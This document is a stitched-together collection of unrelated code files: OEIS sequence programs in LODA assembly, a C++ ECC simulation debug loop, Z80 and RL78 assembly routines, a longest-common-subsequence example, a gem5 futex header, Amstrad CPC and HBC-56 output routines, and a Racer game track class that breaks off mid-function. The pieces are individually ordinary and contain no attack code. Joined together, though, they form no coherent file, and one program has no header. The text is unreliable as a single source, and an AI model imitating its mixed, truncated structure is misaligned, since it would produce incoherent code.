; 0,2,34,196,708,1958,4550,9352,17544,30666,50666,79948,121420,178542,255374,356624,487696,654738,864690,1125332,1445332,1834294,2302806,2862488,3526040,4307290,5221242,6284124,7513436,8927998,10547998,12395040,14492192,16864034,19536706,22537956,25897188,29645510,33815782,38442664,43562664,49214186,55437578,62275180,69771372,77972622,86927534,96686896,107303728,118833330,131333330,144863732,159486964,175267926,192274038,210575288,230244280,251356282,273989274,298223996,324143996,351835678,381388350,412894272,446448704,482149954,520099426,560401668,603164420,648498662,696518662,747342024,801089736,857886218,917859370,981140620,1047864972,1118171054,1192201166,1270101328,1352021328,1438114770,1528539122,1623455764,1723030036,1827431286,1936832918,2051412440,2171351512,2296835994,2428055994,2565205916,2708484508,2858094910,3014244702,3177145952,3347015264,3524073826,3708547458,3900666660,4100666660,4308787462,4525273894,4750375656,4984347368,5227448618,5479944010,5742103212,6014201004,6296517326,6589337326,6892951408,7207655280,7533750002,7871542034,8221343284,8583471156,8958248598,9346004150,9747071992,10161791992,10590509754,11033576666,11491349948,11964192700,12452473950,12956568702,13476857984,14013728896,14567574658,15138794658,15727794500,16334986052,16960787494,17605623366,18269924616,18954128648,19658679370,20384027242,21130629324,21898949324,22689457646,23502631438,24338954640,25198918032,26083019282,26991762994,27925660756,28885231188,29870999990,30883499990,31923271192,32990860824,34086823386,35211720698,36366121948,37550603740,38765750142,40012152734,41290410656,42601130656,43944927138,45322422210,46734245732,48181035364,49663436614,51182102886,52737695528,54330883880,55962345322,57632765322,59342837484,61093263596,62884753678,64718026030,66593807280,68512832432,70475844914,72483596626,74536847988,76636367988,78782934230,80977332982,83220359224,85512816696,87855517946,90249284378,92694946300,95193342972,97745322654,100351742654,103013469376,105731378368,108506354370,111339291362,114231092612,117182670724,120194947686,123268854918,126405333320,129605333320,132869814922,136199747754,139596111116,143059894028,146592095278,150193723470,153865797072,157609344464,161425403986,165315023986,169279262868,173319189140,177435881462,181630428694,185903929944,190257494616,194692242458,199209303610,203809818652,208494938652,213265825214,218123650526,223069597408,228104859360,233230640610,238448156162,243758631844,249163304356,254663421318,260260241318,265955033960,271749079912,277643670954,283640110026,289739711276,295943800108,302253713230,308670798702,315196415984,321831935984,328578741106,335438225298,342411794100,349500864692,356706865942,364031238454,371475434616,379040918648,386729166650
lpb $0
mov $2,$0
mul $2,$0
sub $0,1
pow $2,2
add $1,$2
lpe
mul $1,2
|
/**
* @file debug.cpp
*
* @brief Provides simple simulation loops that are useful for debugging ECC implementations
*
* @author Minesh Patel
* Contact: minesh.patelh@gmail.com
*/
#include <cstdio>
#include <cinttypes>
#include <iostream>
#include <string>
#include <vector>
#include <set>
#include <map>
#include <random>
#include <algorithm>
#include <numeric>
#include <stdarg.h>
/* libraries */
#include "libtp.h"
#include "Eigen/Eigen"
#include "cxxopts.h"
/* project */
#include "word_generator.h"
#include "error_model.h"
#include "ecc_code.h"
#include "supporting_routines.h"
#include "codes/repetition_code.h"
#include "codes/bch_code.h"
#include "codes/hamming_code.h"
#include "debug.h"
void debug_example_worker(int tid, einsim::ecc_code *ec, int n_words_to_simulate, enum einsim::data_pattern dp)
{
std::map< uint32_t, std::map< uint32_t, uint64_t > > accumulator;
for(int word = 0; word < n_words_to_simulate; word++)
{
// Generate dataword
Eigen::Matrix< ET, Eigen::Dynamic, 1 > data_word_sent =
Eigen::Matrix< ET, Eigen::Dynamic /* rows */, 1 /* cols */>::Zero(ec->get_n_data_bits());
Eigen::Matrix< ET, Eigen::Dynamic /* rows */, 1 /* cols */> dummy;
einsim::generate_word(data_word_sent, dp, dummy, einsim::CD_ALL_TRUE);
// Encode dataword into codeword
Eigen::Matrix< ET, Eigen::Dynamic, 1 > code_word_sent = ec->encode(data_word_sent);
// Corrupt codeword with N errors
for(int nerrs_transmitted = 0; nerrs_transmitted <= ec->get_n_code_bits(); nerrs_transmitted++)
{
bool fully_correctable = ec->correction_capability() >= nerrs_transmitted;
// inject precisely N errors. the DP is not strictly true, but we're just trying to test functionality here
Eigen::Matrix< ET, Eigen::Dynamic, 1 > code_word_recv = code_word_sent;
inject_n(code_word_recv, einsim::EM_UNIFORM_RANDOM, einsim::CD_ALL_TRUE, einsim::DP_CHARGED, nerrs_transmitted);
int nerrs_induced = hamming_distance(code_word_sent, code_word_recv);
if(nerrs_induced > nerrs_transmitted)
{
printf_both("[ERROR] more errs induced (%d) than errs transmitted(%d) (%s)\n", nerrs_induced, nerrs_transmitted, ec->name().c_str());
std::stringstream ss;
ss << "code_sent: " << code_word_sent << ", code_rcvd: " << code_word_recv
<< ", data_sent: " << data_word_sent;
printf_both("[ERROR] %s\n", ss.str().c_str());
assert(0 && "TEST FAIL");
}
// Decode codeword into dataword
Eigen::Matrix< ET, Eigen::Dynamic, 1 > data_word_recv = ec->decode(code_word_recv);
// print the messages
// std::cout << "Dataword orig: " << data_word_sent.transpose() << std::endl;
// std::cout << "Codeword sent: " << code_word_sent.transpose() << std::endl;
// std::cout << "Codeword recv: " << code_word_recv.transpose() << std::endl;
// std::cout << "Dataword recv: " << data_word_recv.transpose() << std::endl;
int nerrs_observed = hamming_distance(data_word_sent, data_word_recv);
if(fully_correctable && nerrs_observed) // sanity check
{
printf_both("[ERROR]: observed %d errors when %d induced and %d correctable (%s)\n", nerrs_observed, nerrs_transmitted, ec->correction_capability(), ec->name().c_str());
std::stringstream ss;
ss << "code_sent: " << code_word_sent << ", code_rcvd: " << code_word_recv
<< ", data_sent: " << data_word_sent << ", data_rcvd: " << data_word_recv;
printf_both("[ERROR] %s\n", ss.str().c_str());
assert(0 && "TEST FAIL");
}
if(accumulator[nerrs_transmitted].count(nerrs_observed) == 0)
accumulator[nerrs_transmitted][nerrs_observed] = 0;
accumulator[nerrs_transmitted][nerrs_observed]++;
}
}
std::stringstream ss;
ss << ec->name_short() << " dp:" << enum_to_str_data_pattern(dp) << " [ ";
for(const auto &acc_it : accumulator)
{
uint32_t nerrs_transmitted = acc_it.first;
for(const auto &transmit_it : acc_it.second)
{
uint32_t nerrs_observed = transmit_it.first;
uint64_t count = transmit_it.second;
ss << nerrs_transmitted << ":" << nerrs_observed << ':' << count << ' ';
}
}
ss << "]";
fprintf(g_output_file, "%s\n", ss.str().c_str());
if(g_verbosity > 1)
printf("%s\n", ss.str().c_str());
return;
}
void debug_example(int n_worker_threads, int n_words_to_simulate)
{
thread_pool tp(n_worker_threads);
tp.start();
std::set< int > data_bits_base = {4, 8, 16, 32, 64, 128, 256, 512, 1024};
std::set< int > data_bits = {};
for(int ecc_permutation = 0;; ecc_permutation++) // will continue infinitely
{
std::map< int /* n_data_bits */, std::vector< einsim::ecc_code * > > ecc_types;
// prepare some ECC codes to test
if(g_verbosity > 0)
printf("Preparing ECC codes...\n");
fprintf(g_output_file, "Preparing ECC codes...\n");
for(int n_data_bits_base : data_bits_base)
{
for(int i = -1; i <= 1; i++)
{
int n_data_bits = n_data_bits_base + i;
if(n_data_bits < 1)
continue;
ecc_types[n_data_bits].push_back(new einsim::repetition(ecc_permutation, n_data_bits, 3));
ecc_types[n_data_bits].push_back(new einsim::hamming(ecc_permutation, n_data_bits));
ecc_types[n_data_bits].push_back(new einsim::bch(ecc_permutation, n_data_bits, 3));
ecc_types[n_data_bits].push_back(new einsim::bch(ecc_permutation, n_data_bits, 5));
ecc_types[n_data_bits].push_back(new einsim::bch(ecc_permutation, n_data_bits, 7));
ecc_types[n_data_bits].push_back(new einsim::bch(ecc_permutation, n_data_bits, 9));
data_bits.insert(n_data_bits);
}
}
// begin parallel simulations over the desired parameter space
if(g_verbosity > 0)
printf("Starting ECC simulations\n");
fprintf(g_output_file, "Starting ECC simulations\n");
enum einsim::data_pattern all_dps[] = {einsim::DP_RANDOM, einsim::DP_CHARGED, einsim::DP_ALL_ONES};
for(int dp_idx = 0; dp_idx < (int)(sizeof(all_dps) / sizeof(all_dps[0])); dp_idx++)
{
enum einsim::data_pattern dp = all_dps[dp_idx];
for(int n_data_bits : data_bits)
{
// simulate several repetitions - the samples for identical experiments can be accumulated
int n_repeats = 10;
for(unsigned et_idx = 0; et_idx < ecc_types[n_data_bits].size(); et_idx++)
{
einsim::ecc_code *ec = ecc_types[n_data_bits][et_idx];
for(int n = 0; n < n_repeats; n++)
tp.add(debug_example_worker, 0 /* priority */, ec, n_words_to_simulate, dp);
}
}
}
// wait for outstanding jobs to complete
while(tp.get_n_jobs_outstanding())
{
int n_total_jobs = tp.get_n_jobs_outstanding() + tp.get_n_jobs_completed();
if(g_verbosity > 0)
{
printf("Testing: [%d/%d] jobs remaining \r", tp.get_n_jobs_outstanding(), n_total_jobs);
fflush(stdout);
}
fprintf(g_output_file, "Jobs remaining: %d/%d\n", tp.get_n_jobs_outstanding(), n_total_jobs);
std::this_thread::sleep_for(std::chrono::milliseconds(500));
}
tp.wait();
tp.reset_stats();
}
}
|
; A346434: Triangle read by rows of numbers with n 1's and n 0's in their representation in base of Fibonacci numbers (A210619), written as those 1's and 0's.
; Submitted by Christian Krause
; 10,1001,1010,100101,101001,101010,10010101,10100101,10101001,10101010,1001010101,1010010101,1010100101,1010101001,1010101010,100101010101,101001010101,101010010101,101010100101,101010101001,101010101010,10010101010101,10100101010101,10101001010101,10101010010101,10101010100101,10101010101001,10101010101010,1001010101010101,1010010101010101,1010100101010101,1010101001010101,1010101010010101,1010101010100101,1010101010101001,1010101010101010,100101010101010101,101001010101010101
seq $0,190620 ; Odd numbers with a single zero in their binary expansion.
seq $0,304453 ; An expanded binary notation for n: the normal binary expansion for n is expanded by mapping each 1 to 10 and retaining the existing 0's.
sub $0,10010
div $0,1000
add $0,10
|
; A247432: Complement of A247431.
; 4,7,11,15,18,22,26,29,33,36,40,44,47,51,54,58,62,65,69,73,76,80,83,87,91,94,98,102,105,109,112,116,120,123,127,130,134,138,141,145,149,152,156,159,163,167,170,174,178,181,185,188,192,196,199,203,206,210
mov $3,$0
add $3,$0
mov $5,$0
div $5,7
sub $3,$5
mov $2,$3
div $2,3
add $2,1
mov $1,$2
add $1,3
mov $4,$0
mul $4,3
add $1,$4
|
; A016798: (3n+2)^10.
; 1024,9765625,1073741824,25937424601,289254654976,2015993900449,10240000000000,41426511213649,141167095653376,420707233300201,1125899906842624,2758547353515625,6278211847988224,13422659310152401,27197360938418176,52599132235830049,97656250000000000,174887470365513049,303305489096114176,511116753300641401,839299365868340224,1346274334462890625,2113922820157210624,3255243551009881201,4923990397355877376,7326680472586200649,10737418240000000000,15516041187205853449,22130157888803070976,31181719929966183601,43438845422363213824,59873693923837890625,81707280688754689024,110462212541120451001,148024428491834392576,196715135728956532249,259374246010000000000,339456738992222314849,441143507864991563776,569468379011812486801,730463141542791783424,931322574615478515625,1180591620717411303424,1488377021731616101801,1866585911861003723776,2329194047563391944849,2892546549760000000000,3575694237941010577249,4400768849616443032576,5393400662063408511001,6583182266716099969024,8004182490046884765625,9695514708609891533824,11701964070276793473601,14074678408802364030976,16871927924929095158449,20159939004490000000000,24013807852610947920649,28518499943362777317376,33769941616283277616201,39876210495294203290624,46958831761893056640625,55154187683317729460224,64615048177878503606401,75512230594040653874176,88036397287336250493049,102400000000000000000000,118839380482575369225049,137617037244838084658176,159024068785448665562401,183382804125988210868224,211049631965666494140625,242418040278232804762624,277921878692682183940201,318038856534447018213376,363294289954110647868649,414265112136490000000000,471584161164422542970449,535944760708973357694976,608105609331265108509601,688895994810941449421824,779221350562617197265625,880069171864760718721024,992515310305509690315001,1117730665547154976408576,1256988294225653106805249,1411670956533760000000000,1583279121786431447236849,1773439455035223723467776,1983913807584764801017801,2216608735069167287271424,2473585567569732666015625,2757071057097666970215424,3069468628627004928970801,3413370261743737190219776,3791569030877467700422849,4207072333002010000000000,4663115832631376345704249,5163178154897836475416576,5710996358479337764047001
mul $0,3
add $0,2
pow $0,10
|
; Set TransMatTo
; XX16(1 0) (3 2) (5 4) = sidev_x sidev_y sidev_z XX16(13,12) (15 14) (17 16)
; XX16(7 6) (9 8) (11 10) = roofv_x roofv_y roofv_z XX16(7 6) (9 8) (11 10)
; XX16(13 12) (15 14) (17 16) = nosev_x nosev_y nosev_z XX16(1 0) (3 2) (5 4)
; This moves Side XYZ to position 0, Roof XYZ to position 1 annd nose XYZ to position 2 as a copy of each batch of 6 bytes
CopyRotmatToTransMat: ; Tested
LL15_CopyRotMat: ld hl,UBnkrotmatSidevX
ld de,UBnkTransmatSidevX
SixLDIInstrunctions
ld hl,UBnkrotmatRoofvX
ld de, UBnkTransmatRoofvX
SixLDIInstrunctions
ld hl,UBnkrotmatNosevX
ld de, UBnkTransmatNosevX
SixLDIInstrunctions
ret
CopyRotToTransMacro: MACRO
ld hl,UBnkrotmatSidevX
ld de,UBnkTransmatSidevX
SixLDIInstrunctions
SixLDIInstrunctions
SixLDIInstrunctions
ENDM
|
#include <iostream>
#include <algorithm>
#include <cstring>
using namespace std;
/*
given two strings
find length of longest common subsequence (LCS)
or
find maximum length of the common appearing subsequence in both strings
ip:
s1 = "ABCDGH"
s2 = "AEDFHR"
op: 3
explnation: ADH
ip:
s1 = "AGGTAB"
s2 = "GXTXAYB"
op: 4
explnation: GTAB
ip:
s1 = "XYZ"
s2 = "XYZ"
op: 3
explnation: XYZ
ip:
s1 = "ABC"
s2 = "XY"
op: 0
explnation: no common char
*/
/*
In tabulation, we create an array of size m+1 and n+1,
no need for initialisation
we fill this array in bottom up manner
dp[i][j] is going to store length of LCS of s1[0..i-1] and s2[0..j-1]
first thing we know if any string is of 0 length it's subsequence will also be zeros
so fill first row and column with 0s
now we fill remaining places by the foll logic
if s1[i-1] == s2[j-1]
dp[i][j] = 1 + dp[i-1][j-1]
else
dp[i][j] = max(dp[i-1][j], dp[i][j-1])
*/
int lcs(string s1, string s2)
{
int m = s1.length();
int n = s2.length();
int dp[m + 1][n + 1];
// fill first col with 0
for (int i = 0; i <= m; i++)
dp[i][0] = 0;
// fill first row with 0
for (int j = 0; j <= n; j++)
dp[0][j] = 0;
// start filling second row, column-by-column
for (int i = 1; i <= m; i++)
{
for (int j = 1; j <= n; j++)
{
if(s1[i-1] == s2[j-1])
dp[i][j] = 1 + dp[i - 1][j - 1];
else
dp[i][j] = max(dp[i][j - 1], dp[i - 1][j]);
}
}
return dp[m][n];
}
int main()
{
string s1 = "AXYZ";
string s2 = "BAZ";
cout << lcs(s1, s2);
return 0;
}
/*
Time: theta(m*n)
Space: theta(m*n)
*/ |
; A199113: (11*3^n+1)/2.
; 6,17,50,149,446,1337,4010,12029,36086,108257,324770,974309,2922926,8768777,26306330,78918989,236756966,710270897,2130812690,6392438069,19177314206,57531942617,172595827850,517787483549,1553362450646,4660087351937,13980262055810,41940786167429,125822358502286,377467075506857,1132401226520570,3397203679561709
mov $1,3
pow $1,$0
div $1,2
mul $1,11
add $1,6
|
/*
* Copyright (c) 2017 Advanced Micro Devices, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer;
* redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution;
* neither the name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __FUTEX_MAP_HH__
#define __FUTEX_MAP_HH__
#include <unordered_map>
#include <unordered_set>
#include <cpu/thread_context.hh>
/**
* FutexKey class defines an unique identifier for a particular futex in the
* system. The tgid and an address are the unique values needed as the key.
*/
class FutexKey {
public:
uint64_t addr;
uint64_t tgid;
FutexKey(uint64_t addr_in, uint64_t tgid_in);
bool operator==(const FutexKey &in) const;
};
namespace std {
/**
* The unordered_map structure needs the parenthesis operator defined for
* std::hash if a user defined key is used. Our key is is user defined
* so we need to provide the hash functor.
*/
template <>
struct hash<FutexKey>
{
size_t operator()(const FutexKey& in) const;
};
}
/**
* WaiterState defines internal state of a waiter thread. The state
* includes a pointer to the thread's context and its associated bitmask.
*/
class WaiterState {
public:
ThreadContext* tc;
int bitmask;
/**
* this constructor is used if futex ops with bitset are used
*/
WaiterState(ThreadContext* _tc, int _bitmask);
/**
* return true if the bit-wise AND of the wakeup_bitmask given by
* a waking thread and this thread's internal bitmask is non-zero
*/
bool checkMask(int wakeup_bitmask) const;
};
typedef std::list<WaiterState> WaiterList;
/**
* FutexMap class holds a map of all futexes used in the system
*/
class FutexMap : public std::unordered_map<FutexKey, WaiterList>
{
public:
/** Inserts a futex into the map with one waiting TC */
void suspend(Addr addr, uint64_t tgid, ThreadContext *tc);
/** Wakes up at most count waiting threads on a futex */
int wakeup(Addr addr, uint64_t tgid, int count);
void suspend_bitset(Addr addr, uint64_t tgid, ThreadContext *tc,
int bitmask);
int wakeup_bitset(Addr addr, uint64_t tgid, int bitmask);
/**
* This operation wakes a given number (val) of waiters. If there are
* more threads waiting than woken, they are removed from the wait
* queue of the futex pointed to by addr1 and added to the wait queue
* of the futex pointed to by addr2. The number of waiter moved is
* capped by count2 (misused timeout parameter).
*
* The return value is the number of waiters that are woken or
* requeued.
*/
int requeue(Addr addr1, uint64_t tgid, int count, int count2, Addr addr2);
/**
* Determine if the given thread context is currently waiting on a
* futex wait operation on any of the futexes tracked by this FutexMap.
*/
bool is_waiting(ThreadContext *tc);
private:
std::unordered_set<ThreadContext *> waitingTcs;
};
#endif // __FUTEX_MAP_HH__
|
; A265694: a(n) = n!! mod n^2 where n!! is a double factorial number (A006882).
; Submitted by Simon Strandgaard
; 0,2,3,8,15,12,7,0,54,40,110,0,104,84,0,0,221,0,342,0,0,220,506,0,0,312,0,0,493,0,930,0,0,544,0,0,222,684,0,0,369,0,1806,0,0,1012,47,0,0,0,0,0,1590,0,0,0,0,1624,59,0,3050,1860,0,0,0,0,4422,0,0,0
add $0,1
mov $2,$0
lpb $0
pow $2,2
cmp $3,0
lpb $0
mul $3,$0
sub $0,2
mod $3,$2
lpe
lpe
mov $0,$3
|
print:
pusha
start:
mov al, [bx]
cmp al, 0
je done
mov ah, 0x0e
int 0x10
add bx, 1
jmp start
done:
popa
ret
print_nl:
pusha
mov ah, 0x0e
mov al, 0x0a
int 0x10
mov al, 0x0d
int 0x10
popa
ret
|
;
; Amstrad CPC library
; set color palette, flashing is useless so we forget the second color
;
; void __LIB__ __CALLEE__ cpc_set_palette_callee(int pen, int color);
;
; $Id: cpc_set_palette_callee.asm $
;
SECTION code_clib
PUBLIC cpc_set_palette_callee
PUBLIC _cpc_set_palette_callee
PUBLIC cpc_SetInk_callee
PUBLIC _cpc_SetInk_callee
PUBLIC asm_cpc_set_palette
EXTERN firmware
INCLUDE "target/cpc/def/cpcfirm.def"
.cpc_set_palette_callee
._cpc_set_palette_callee
.cpc_SetInk_callee
._cpc_SetInk_callee
pop hl
pop bc
ex (sp),hl
; enter : l = pen
; c = color
.asm_cpc_set_palette
; ACTION Sets the colours of a PEN - if the two values supplied are different then the colours will alternate (flash)
; ENTRY A contains the PEN number, B contains the first colour, and C holds the second colour
ld a,l
ld b,c
call firmware
defw scr_set_ink
ret
|
;;/***********************************************************************************************************************
;;* DISCLAIMER
;;* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No
;;* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all
;;* applicable laws, including copyright laws.
;;* THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIES REGARDING
;;* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,
;;* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM
;;* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES
;;* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS
;;* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
;;* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of
;;* this software. By using this software, you agree to the additional terms and conditions found by accessing the
;;* following link:
;;* http://www.renesas.com/disclaimer
;;*
;;* Copyright (C) 2021 Renesas Electronics Corporation. All rights reserved.
;;***********************************************************************************************************************/
;;/***********************************************************************************************************************
;;* File Name : stkinit.asm
;;* H/W Platform : GENERIC_RL78_G23
;;* Description :
;;***********************************************************************************************************************/
;;/***********************************************************************************************************************
;;* History : DD.MM.YYYY Version Description
;;* : 08.03.2021 1.00 First Release
;;
;;***********************************************************************************************************************/
; _stkinit
;
; void _stkinit(void __near * stackbss);
;
; input:
; stackbss = AX (#LOWW(_stackend))
; output:
; NONE
;---------------------------------------------------------------------
; NOTE : THIS IS A TYPICAL EXAMPLE.
.PUBLIC _stkinit
.textf .CSEG TEXTF
_stkinit:
MOVW HL,AX ; stack_end_addr
MOV [SP+3],#0x00 ; [SP+0]-[SP+2] for return address
MOVW AX,SP
SUBW AX,HL ; SUBW AX,#LOWW _@STEND
BNH $LSTINIT3 ; goto end
SHRW AX,5 ; loop count for 32 byte transfer
MOVW BC,AX
CLRW AX
LSTINIT1:
CMPW AX,BC
BZ $LSTINIT2
MOVW [HL],AX
MOVW [HL+2],AX
MOVW [HL+4],AX
MOVW [HL+6],AX
MOVW [HL+8],AX
MOVW [HL+10],AX
MOVW [HL+12],AX
MOVW [HL+14],AX
MOVW [HL+16],AX
MOVW [HL+18],AX
MOVW [HL+20],AX
MOVW [HL+22],AX
MOVW [HL+24],AX
MOVW [HL+26],AX
MOVW [HL+28],AX
MOVW [HL+30],AX
XCHW AX,HL
ADDW AX,#0x20
XCHW AX,HL
DECW BC
BR $LSTINIT1
LSTINIT2:
MOVW AX,SP
CMPW AX,HL
BZ $LSTINIT3 ; goto end
CLRW AX
MOVW [HL],AX
INCW HL
INCW HL
BR $LSTINIT2
LSTINIT3:
RET
|
; Troy's HBC-56 - BASIC - Output (LCD)
;
; Copyright (c) 2021 Troy Schrapel
;
; This code is licensed under the MIT license
;
; https://github.com/visrealm/hbc-56
;
; -----------------------------------------------------------------------------
; hbc56SetupDisplay - Setup the display (LCD)
; -----------------------------------------------------------------------------
hbc56SetupDisplay:
jsr lcdInit
jsr lcdDisplayOn
jsr lcdCursorBlinkOn
rts
; -----------------------------------------------------------------------------
; hbc56Out - EhBASIC output subroutine (for HBC-56 LCD)
; -----------------------------------------------------------------------------
; Inputs: A - ASCII character (or code) to output
; Outputs: A - must be maintained
; -----------------------------------------------------------------------------
hbc56Out:
sei ; disable interrupts during output
stx SAVE_X
sty SAVE_Y
sta SAVE_A
cmp #ASCII_RETURN
beq .newline
cmp #ASCII_BACKSPACE
beq .backspace
cmp #ASCII_BELL ; bell (end of buffer)
beq .bellOut
cmp #ASCII_CR ; omit these
beq .endOut
; regular character
jsr lcdCharScroll ; outputs A to the LCD - auto-scrolls too :)
.endOut:
ldx SAVE_X
ldy SAVE_Y
lda SAVE_A
cli
rts
.bellOut
jsr hbc56Bell
jmp .endOut
.newline
jsr lcdNextLine ; scroll to the next line... scroll screen if on last line
jmp .endOut
.backspace
jsr lcdBackspace
jmp .endOut
rts
|
SFX_Battle_20_Ch1:
unknownnoise0x20 12, 241, 84
unknownnoise0x20 8, 241, 100
endchannel
|
global testit
section .text
testit:
mov rax,rdi
or rax,rsi
ret |
/*
* RTrack - base class for Racer tracks
* 01-11-00: Created!
* (c) Dolphinity
*/
#include <racer/racer.h>
#include <qlib/debug.h>
#pragma hdrstop
DEBUG_ENABLE
// Local trace?
#define LTRACE
// Default track information file
#define TRACK_INI "track.ini"
// File with special things, like grid positions, pit positions and timelines
#define FILE_SPECIAL "special.ini"
// Spline surface info file
#define FILE_SPLINE "spline.ini"
// Best laps file
#define BESTLAPS_INI "bestlaps.ini"
// Archive file
#define TRACK_AR_NAME "track.ar"
RTrack::RTrack()
{
int i;
type="flat";
cbLoad=0;
timeLines=0;
for(i=0;i<MAX_TIMELINE;i++)
timeLine[i]=0;
gridPosCount=pitPosCount=0;
clearColor[0]=clearColor[1]=clearColor[2]=clearColor[3]=0.0f;
for(i=0;i<MAX_TRACKCAM;i++)
trackCam[i]=0;
trackCams=0;
for(i=0;i<MAX_WAYPOINT;i++)
wayPoint[i]=0;
wayPoints=0;
surfaceTypes=0;
infoStats=0;
infoSpecial=0;
sun=0;
trackTree=0;
archive=0;
}
RTrack::~RTrack()
{
int i;
//qdbg("RTrack dtor\n");
//qdbg(" infoSpecial=%p\n",infoSpecial);
QDELETE(infoSpecial);
//qdbg(" surfacesTypes=%d\n",surfaceTypes);
for(i=0;i<trackCams;i++)
QDELETE(trackCam[i]);
for(i=0;i<wayPoints;i++)
QDELETE(wayPoint[i]);
for(i=0;i<surfaceTypes;i++)
QDELETE(surfaceType[i]);
for(i=0;i<timeLines;i++)
QDELETE(timeLine[i]);
QDELETE(infoStats);
QDELETE(sun);
QDELETE(trackTree);
QDELETE(archive);
//qdbg(" dtor RET\n");
}
/**********
* Attribs *
**********/
RTimeLine *RTrack::GetTimeLine(int n)
{
if(n<0||n>=timeLines)
{ qwarn("RTrack:GetTimeLine(%d) out of bounds",n);
return 0;
}
return timeLine[n];
}
/****************
* Car positions *
****************/
RCarPos *RTrack::GetGridPos(int n)
{
QASSERT_0(n>=0&&n<gridPosCount);
return &gridPos[n];
}
RCarPos *RTrack::GetPitPos(int n)
{
QASSERT_0(n>=0&&n<pitPosCount);
return &pitPos[n];
}
/**********************
* SURFACE DESCRIPTION *
**********************/
void RTrack::GetSurfaceInfo(DVector3 *pos,DVector3 *dir,RSurfaceInfo *si)
// Retrieves info on track surface
// Note that normally only pos->x and pos->z are used. In case of
// bridges like in Suzuka however, pos->y may be used to return either
// the track above or below the bridge.
{
//qdbg("RTrack::GetSurfaceInfo()\n");
RMGR->profile->SwitchTo(RProfile::PROF_CD_CARTRACK);
// Default is flat boring track
si->x=pos->x;
si->y=0;
si->z=pos->z;
si->grade=0;
si->bank=0;
si->friction=1.0;
// Return to (probably) physics
RMGR->profile->SwitchTo(RProfile::PROF_PHYSICS);
}
/*********
* Naming *
*********/
void RTrack::SetName(cstring _trackName)
// Load a track (of any type)
// This is the base function; a derived class should override this
// function, call us first (and check the return code), then load the
// actual track from 'file'.
{
char buf[256];
//cstring s;
trackName=_trackName;
// Deduce track directory
sprintf(buf,"data/tracks/%s",trackName.cstr());
strcpy(buf,RFindDir(buf));
#ifdef OBS
s=RFindFile(".",buf);
// Strip "."
strcpy(buf,s);
buf[strlen(buf)-2]=0;
#endif
trackDir=buf;
//qdbg("RTrack:SetName(%s) => trackDir='%s'\n",
//trackName.cstr(),(cstring)trackDir);
}
/**********
* LOADING *
**********/
static void RestoreVector(QInfo *info,cstring vName,DVector3 *v)
// Shortcut to store a vector
{
info->GetFloats(vName,3,&v->x);
}
bool RTrack::LoadSpecial()
// Load positions and timelines, graphics specials etc
{
QInfo *info;
char buf[256];
int i,j,n;
RCarPos *p;
cstring cubeName[3]={ "edge","close","far" };
sprintf(buf,"%s/%s",(cstring)trackDir,FILE_SPECIAL);
//qdbg("RTrack:LoadSpecial(); file=%s\n",buf);
infoSpecial=new QInfo(buf);
info=infoSpecial;
// Restore grid positions
gridPosCount=info->GetInt("grid.count");
if(gridPosCount>MAX_GRID_POS)gridPosCount=MAX_GRID_POS;
for(i=0;i<gridPosCount;i++)
{
p=&gridPos[i];
sprintf(buf,"grid.pos%d.from.x",i); p->from.x=info->GetFloat(buf);
sprintf(buf,"grid.pos%d.from.y",i); p->from.y=info->GetFloat(buf);
sprintf(buf,"grid.pos%d.from.z",i); p->from.z=info->GetFloat(buf);
sprintf(buf,"grid.pos%d.to.x",i); p->to.x=info->GetFloat(buf);
sprintf(buf,"grid.pos%d.to.y",i); p->to.y=info->GetFloat(buf);
sprintf(buf,"grid.pos%d.to.z",i); p->to.z=info->GetFloat(buf);
}
// Restore pit positions
pitPosCount=info->GetInt("pit.count");
if(pitPosCount>MAX_PIT_POS)pitPosCount=MAX_PIT_POS;
for(i=0;i<pitPosCount;i++)
{
p=&pitPos[i];
sprintf(buf,"pit.pos%d.from.x",i); p->from.x=info->GetFloat(buf);
sprintf(buf,"pit.pos%d.from.y",i); p->from.y=info->GetFloat(buf);
sprintf(buf,"pit.pos%d.from.z",i); p->from.z=info->GetFloat(buf);
sprintf(buf,"pit.pos%d.to.x",i); p->to.x=info->GetFloat(buf);
sprintf(buf,"pit.pos%d.to.y",i); p->to.y=info->GetFloat(buf);
